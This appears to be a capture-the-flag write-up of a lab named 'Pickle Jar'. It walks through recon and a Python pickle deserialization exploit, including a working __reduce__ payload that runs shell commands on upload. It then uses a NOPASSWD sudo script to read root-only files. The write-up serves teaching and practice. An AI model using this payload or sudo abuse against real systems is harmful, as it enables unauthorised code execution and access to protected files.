

Pickle Jar

Date: 5/8/2026

Platform: HackerDNA

URL: <https://hackerdna.com/labs/pickle-jar>

Objective

Exploit insecure Python pickle deserialization to achieve Remote Code Execution (RCE), enumerate the Linux environment, escalate privileges through a dangerous sudo configuration, and retrieve both flags.

Step 1: Initial Reconnaissance

Started with Nmap scans against the target (\$IP):

```
nmap -Pn -sC -sV $IP
```

```
nmap -Pn -p- --min-rate 3000 $IP
```

The host exposed only an HTTP service:

```
80/tcp open http
```

This suggested the challenge was focused entirely on a web application attack surface.

Step 2: Web Enumeration

Visited the homepage and inspected the available functionality:

```
curl -i http://$IP
```

```
curl -s http://$IP | head -100
```

Discovered a status endpoint:

```
curl -s http://\$IP/status
```

Response (JSON):

```
{
  "max_upload_size": "10MB",
  "runtime": "Python 3.11",
  "serialization": "pickle",
  "service": "DataVault Backup Manager",
  "status": "operational",
  "supported_formats": [".pkl", ".pickle"],
  "version": "3.2.1"
}
```

Application accepts and deserializes Python pickle files. Python pickle is unsafe with untrusted input; this indicates a potential **insecure deserialization vulnerability**.

Step 3: Downloading and Inspecting the Sample Pickle

Downloaded the sample file referenced in step 2 curl response:

curl -O [http://\\$IP/download-sample](http://$IP/download-sample)

Identified as binary data:

file download-sample

Loaded locally using Python:

python3 -c "import pickle; print(pickle.load(open('download-sample','rb')))"

Output:

```
{
  'backup_version': '2.1',
  'service': 'DataVault Backup Manager',
  'settings': {
    'compression': 'gzip',
    'encryption': 'AES-256',
    'retention_days': 30,
    'auto_backup': True
  },
}
```

```
'paths': {  
  'data_dir': '/var/vault/data',  
  'log_dir': '/var/vault/logs',  
  'temp_dir': '/tmp/vault'  
}  
}
```

This confirmed uploaded files are directly deserialized, the application trusts arbitrary pickle objects, and there was no indication of validation or sandboxing.

At this point, the target appeared vulnerable to:

Python Pickle Deserialization → Remote Code Execution (RCE)

Step 4: Crafting a Malicious Pickle Payload

Created a malicious Python object using `__reduce__()`:

```
import pickle  
import builtins  
  
class Probe:  
    def __reduce__(self):  
        cmd = "__import__('subprocess').check_output('id; whoami; pwd', shell=True).decode()"  
        return (builtins.eval, (cmd,))  
  
payload = pickle.dumps(Probe())
```

During deserialization, Python reconstructs objects. Using `__reduce__()` tells Python how the object should be rebuilt. The payload can be used to execute shell commands during the deserialization process.

Step 5: Uploading the Malicious Pickle

Uploaded the payload:

```
curl -s -X POST http://$IP/upload \  
-F "file=@probe.pkl;filename=probe.pkl"
```

Response:

```
uid=1000(vault) gid=1000(vault) groups=1000(vault)
vault
/app
```

This confirmed RCE was achieved, commands were executed as **user: vault**, and the current working directory was **/app**.

Step 6: Post-Exploitation Enumeration

Created a larger enumeration payload to inspect:

```
filesystem structure
flags
sudo permissions
SUID binaries
```

Key findings:

```
/home/vault/flag-user.txt
```

and

User vault may run the following commands:
(root) NOPASSWD: /opt/vault/backup-util

Step 7: Retrieving the User Flag

Used RCE to read the user flag:

```
cat /home/vault/flag-user.txt
```

(Flag omitted from this report for challenge integrity.)

Step 8: Investigating the Privileged Utility

Inspected the root-owned utility:

```
ls -la /opt/vault/backup-util
```

Then enumerated its contents:

```
strings /opt/vault/backup-util
```

Discovered Script:

```
#!/bin/bash
# DataVault Backup Utility v2.1

if [ -z "$1" ]; then
echo "Usage: backup-util <config-file>"
exit 1
fi

cat "$1"
```

This is sudo misconfiguration. The user vault was allowed to execute the script as root:

```
sudo /opt/vault/backup-util
```

The script accepted arbitrary file paths, performed no validation, just simply executed:
`cat "$1"`

This effectively creates a root-powered arbitrary file reader.

Step 9: Privilege Escalation to Root

Used the vulnerable utility to read the root flag:

```
sudo /opt/vault/backup-util /root/flag-root.txt
```

(Flag omitted from this report for challenge integrity.)

Key Vulnerabilities Found:

- Insecure Deserialization (`pickle.loads()` used on untrusted input)
- Dangerous Sudo Configuration (NOPASSWD sudo access to unrestricted file-reading utility)